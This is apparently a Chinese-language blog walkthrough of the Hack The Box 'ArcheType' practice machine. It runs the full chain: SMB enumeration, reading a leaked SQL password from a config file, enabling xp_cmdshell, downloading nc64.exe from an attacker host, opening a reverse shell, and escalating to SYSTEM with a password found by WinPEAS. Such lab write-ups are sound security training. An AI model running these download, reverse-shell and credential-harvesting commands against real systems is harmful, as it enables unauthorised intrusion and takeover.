iT邦幫忙

0

Hack The Box - ArcheType

  • 分享至 

  • xImage
  •  

Hack The Box - ArcheType


偵查(Reconnaissance)

在進行滲透測試時,初步偵查能夠揭露目標系統的潛在弱點。本次分析中,我們發現目標伺服器開放了 SMB(Server Message Block)服務於 445 或 139 端口,並於 1433 端口運行 Microsoft SQL Server 2017

nmap -sC {TARGET_IP}

掃描結果確認了這些服務的可用性。
https://ithelp.ithome.com.tw/upload/images/20250212/20168534zORRkaLFc8.png


掃描(Scanning)

使用 smbclient 列舉 SMB 共享資源

smbclient -N -L \\\\{TARGET_IP}\\

參數說明:

  • -N:不輸入密碼。
  • -L:列出目標伺服器上的共享資源。

https://ithelp.ithome.com.tw/upload/images/20250212/20168534G9c47YFvTx.png

$ 符號的意義

在 SMB 共享列表中,帶有 $ 符號的名稱表示這些是隱藏共享(Hidden Shares)。這類共享通常不會在一般的共享列表中顯示,僅有具備適當權限的使用者才能存取。例如:

  • ADMIN$:Windows 預設的管理員共享,對應於 C:\Windows 目錄。
  • C$:Windows 預設的磁碟分割區共享(C 槽)。
  • IPC$:用於跨進程通訊的共享,允許網路上的應用程式存取特定的 Windows 服務。

在 Linux 中的 UNC 路徑處理

在 Linux 環境中,反斜線 \ 是跳脫字符(escape character),因此要正確表達 Windows 的 UNC 路徑,必須使用雙反斜線。例如:

  • Windows 標準寫法\\192.168.1.100\Shared
  • Linux 終端表示\\\\192.168.1.100\\Shared

這是因為 Linux 會將單一反斜線視為跳脫符,因此必須使用雙反斜線來正確解析 UNC 路徑。


入侵(Intrusion)

1. 存取 backups 共享資源

smbclient -N \\\\{TARGET_IP}\\backups

成功存取後,下載 prod.dtsConfig 檔案:

get prod.dtsConfig

https://ithelp.ithome.com.tw/upload/images/20250212/20168534FmeLu03KuI.png

2. 入侵 MSSQL 伺服器

prod.dtsConfig 配置文件中,發現 SQL Server 使用者 sql_svc 的明文密碼。

https://ithelp.ithome.com.tw/upload/images/20250212/20168534Ym2vIEl2Tp.png

載入Impacket 工具包

Impacket 工具包含 mssqlclient.py

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install . --少這行後續SQL指令不會有Output

透過 mssqlclient.py 進行身份驗證並存取 SQL Server

python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth

成功登入後,即可執行 SQL 查詢與系統命令。

https://ithelp.ithome.com.tw/upload/images/20250212/20168534ssL2ud2mQw.png

啟用 xp_cmdshell 以執行系統命令

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

xp_cmdshell 允許透過 SQL Server 執行 Windows 命令,需謹慎使用,避免潛在的安全風險。

https://ithelp.ithome.com.tw/upload/images/20250212/20168534YUgTqOEusd.png

3. 建立 Reverse Shell

傳送 nc64.exe 到受害主機

  1. 於本機下載 nc64.exe
    下載 nc64.exe

  2. 於攻擊機啟動 HTTP 伺服器

    sudo python3 -m http.server 80
    

    https://ithelp.ithome.com.tw/upload/images/20250212/20168534VDvuW6M73F.png

  3. 於受害機下載 nc64.exe

    xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://{攻擊機IP}/nc64.exe -outfile nc64.exe"
    

    https://ithelp.ithome.com.tw/upload/images/20250212/20168534Jp9SJnJviq.png

建立反向連線

  1. 於攻擊機開啟監聽

    sudo nc -nlvp 443
    
  2. 於受害機執行 Reverse Shell

    xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe {攻擊機IP} 443"
    

    https://ithelp.ithome.com.tw/upload/images/20250212/20168534enXw9hUXRI.png

提權(Privilege Escalation)

1. WinPEAS掃描

下載 WinPEAS.exe 到受害主機

powershell wget http://{攻擊機IP}/winPEASx64.exe -outfile winPEASx64.exe"

https://ithelp.ithome.com.tw/upload/images/20250212/20168534EjXJiJOhcy.png

開始掃描

.\winPEASx64.exe

https://ithelp.ithome.com.tw/upload/images/20250212/20168534iN5d519Rgp.png

根據掃描結果,在C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt找到administrator的密碼

https://ithelp.ithome.com.tw/upload/images/20250212/20168534Kcxyt2szb1.png

2. SMB連線

使用 PsExec.py 提權

python3 psexec.py administrator@{TARGET_IP}

成功取得最高權限(SYSTEM)。
https://ithelp.ithome.com.tw/upload/images/20250212/20168534Enio79WKah.png

取得 user.txt

type C:\Users\sql_svc\Desktop\user.txt

https://ithelp.ithome.com.tw/upload/images/20250212/20168534Dgtnmog0Bb.png

取得 root.txt

type C:\Users\Administrator\Desktop\root.txt

https://ithelp.ithome.com.tw/upload/images/20250212/20168534m8P21polOj.png


圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言